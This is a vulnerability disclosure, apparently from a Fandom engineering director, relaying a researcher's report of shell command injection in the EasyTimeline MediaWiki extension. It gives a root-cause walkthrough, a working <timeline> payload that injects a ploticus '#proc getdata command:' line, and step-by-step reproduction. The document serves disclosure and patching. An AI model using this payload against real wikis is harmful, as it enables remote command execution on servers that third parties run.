Fandom has received the following security vulnerability report on Hackerone regarding the EasyTimeline Mediawiki extension. Since both the original repo and our fork are public, we cannot patch it without exposing the vulnerability to the public and risking Fandom, WMF and MediaWiki consumers.
affiliation: I'm a Director of Engineering at Fandom.
What follows is the original report from the security researcher:
Summary
The Timeline MediaWiki extension (a.k.a. EasyTimeline) — enabled on Fandom — contains a command-injection vulnerability that allows any user able to edit or preview a wiki page to execute arbitrary shell commands on the server that processes timeline rendering, and read the output back through the rendered page.
The flaw is in scripts/EasyTimeline.pl. User-controlled text inside a TextData text:"…" attribute is allowed to contain \n escape sequences which the script converts into real newline characters. Those newlines survive intact into the ploticus script that EasyTimeline generates, letting the attacker close the current text: parameter and inject a new column-0 #proc getdata directive. Ploticus's #proc getdata command: attribute is documented to invoke its argument via /bin/sh -c, and EasyTimeline never passes the -noshell flag that would disable this behaviour.
The output of the attacker's command is captured by the Timeline PHP wrapper through the file.err channel and rendered back to the requesting user inside a <div class="error timeline-error"> block via Timeline::throwRawException.
Root Cause
Step 1 — newline smuggling in EasyTimeline.pl
When parsing a quoted text:"…" value (used by TextData, PlotData, etc.), ExtractText() performs:
$text =~ s/\\n/\n/g; # converts the literal two-byte sequence "\n" to a real newline
Real newlines now live inside $Attributes{"text"}.
Step 2 — TextData does not sanitise those newlines
ParsePlotData later calls WriteText("~", …) which executes @Text = split('\n', $text). In Perl, split('\n', …) compiles \n as a regex and does split on newline characters — so PlotData defangs the payload by emitting one separate #proc annotate block per line. This is why a naïve PlotData PoC does not work.
ParseTextData, however, calls WriteText("^", …):
&WriteText( "^", "", 0, $posx, $posy, $text, $textcolor, $fontsize, "left", $link, $hint, $tabs );
Mode "^" triggers @Text = split('^', $text) — splits on caret, not newline. The user-controlled $text keeps every embedded newline.
Step 3 — newlines reach the ploticus script verbatim
WriteProcAnnotate does:
push @PlotTextsPng, " text: $text2\n\n";
The contents of @PlotTextsPng are concatenated into $scriptPng1, substituted into the final ploticus script, and (after DecodeInput) written to disk:
open "FILE_OUT", ">", $file_script; print FILE_OUT &DecodeInput($script); close "FILE_OUT";
For a payload text:"X\n\n#proc getdata\n command: id > file.err\n\n, the resulting ploticus script literally contains:
#proc annotate location: 0.000 0.000 textdetails: align=left size=8 color=black text: X #proc getdata command: id > file.err #proc getdata sits at column 0 — a legitimate directive start in ploticus.
Step 4 — ploticus executes command: via /bin/sh -c
The ploticus manual (-noshell section, http://ploticus.sourceforge.net/doc/plmoreopts.html ) explicitly lists #proc getdata command: and #shell … #endshell as the shell-executing constructs that -noshell exists to disable:
The -noshell command line option is intended to disallow any shell commands that a user might supply in a script from being executed. The following script constructs are disabled when -noshell is in effect: #proc getdata / command: myshellcommand #proc getdata / file: filename (shell-wildcard expansion via cat) #shell … #endshell
EasyTimeline.pl invokes ploticus without -noshell:
my $cmd = EscapeShellArg($pl) . " $map -png -o " . EscapeShellArg($file_bitmap) . " " . EscapeShellArg($file_script) . " -tightcrop -font " . EscapeShellArg($font_file); system($cmd);
So the attacker's command: is executed as /bin/sh -c "id > file.err".
Step 5 — output is reflected back to the requester
includes/Timeline.php::renderTimeline() configures Shellbox to capture file.err:
->outputFileToString( 'file.err' )
and immediately after execution:
if ( $result->wasReceived( 'file.err' ) ) { $error = $result->getFileContents( 'file.err' ); self::throwRawException( $error ); }
throwRawException runs the contents through htmlspecialchars + nl2br and wraps it in a <div class="error timeline-error">. The attacker sees the cleartext output of their command rendered inline on the wiki page.
Additionally, because the exception is thrown before the storage doQuickOperations call, no PNG is cached, so every subsequent parse of the same source re-runs the exploit. The cache-hash check in onTagHook does not short-circuit the exploit either, because the .png never gets stored on the error path.
Proof of Concept
Payload (paste into any page's <timeline> tag)
<timeline> ImageSize = width:200 height:200 PlotArea = left:50 right:50 top:50 bottom:50 DateFormat = yyyy Period = from:2000 till:2001 TimeAxis = orientation:horizontal TextData = pos:(0,0) text:"X\n\n#proc getdata\n command: id > file.err\n\n" </timeline>
Steps to Reproduce
Log into a Fandom wiki with editing privileges (anonymous preview also works if the wiki allows IP edits and the Timeline tag is permitted) for example https://renwah1test.fandom.com/wiki/POC3?action=edit .
Open any page → Edit (source mode).
Paste the payload above into the page body.
Click Preview. (Saving is unnecessary — the parser hook fires on preview.)
Observe the rendered "Timeline error" box on the previewed page. It contains the stdout of id, for example: uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)